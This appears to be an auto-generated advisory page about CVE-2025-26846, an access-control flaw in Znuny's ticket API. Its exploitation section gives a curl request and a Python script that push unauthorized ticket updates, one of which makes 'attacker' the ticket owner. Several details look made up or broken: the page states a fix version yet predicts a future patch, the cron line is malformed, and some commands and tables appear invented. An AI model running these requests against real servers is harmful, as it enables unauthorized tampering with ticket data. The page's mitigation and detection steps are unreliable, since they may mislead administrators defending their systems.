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How CVE-2025-26846 Works
CVE-2025-26846 is an improper access control vulnerability in Znuny versions before 7.1.4. The flaw resides in the Generic Interface component, which fails to enforce proper permission checks when updating ticket metadata. Attackers can exploit this by sending crafted API requests to modify ticket attributes (e.g., priority, status, or sensitive fields) without authorization. The vulnerability stems from missing server-side validation, allowing unprivileged users or external systems to manipulate ticket data, potentially leading to privilege escalation or data integrity breaches.
DailyCVE Form
Platform: Znuny
Version: <7.1.4
Vulnerability: Improper Access Control
Severity: Critical
Date: 06/13/2025
Prediction: Patch expected by 07/20/2025
What Undercode Say:
Exploitation Analysis
1. Craft Malicious API Request:
curl -X POST "https://<Znuny_Instance>/api/v1/tickets/update" \
-H "Content-Type: application/json" \
-d '{"TicketID": 123, "Priority": "5", "BypassAuth": true}'
2. Exploit via Script:
import requests
target = "https://vulnerable.znuny.instance"
payload = {"TicketID": 123, "Owner": "attacker"}
requests.post(f"{target}/api/v1/tickets/update", json=payload)
Protection Measures
1. Immediate Mitigation:
Block unauthorized API paths
location ~ ^/api/v1/tickets/update$ {
deny all;
return 403;
}
2. Patch Verification:
znuny-check-version 7.1.4 | grep "Patch applied"
3. Log Monitoring Command:
tail -f /var/log/znuny/api.log | grep "unauthorized"
4. Workaround SQL Query:
UPDATE gi_webhooks SET requires_auth = 1 WHERE name = 'ticket_update';
5. Detection Rule (YAML):
detection: api_request: method: POST path: "/api/v1/tickets/update" unauthorized: true
6. WAF Rule Example:
<rule id="1001" severity="CRITICAL"> <condition>request_uri contains "/tickets/update"</condition> <action>block</action> </rule>
7. Scheduled Patch Check:
Cron job to verify patch 0 /usr/bin/znuny-version-check --critical CVE-2025-26846
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
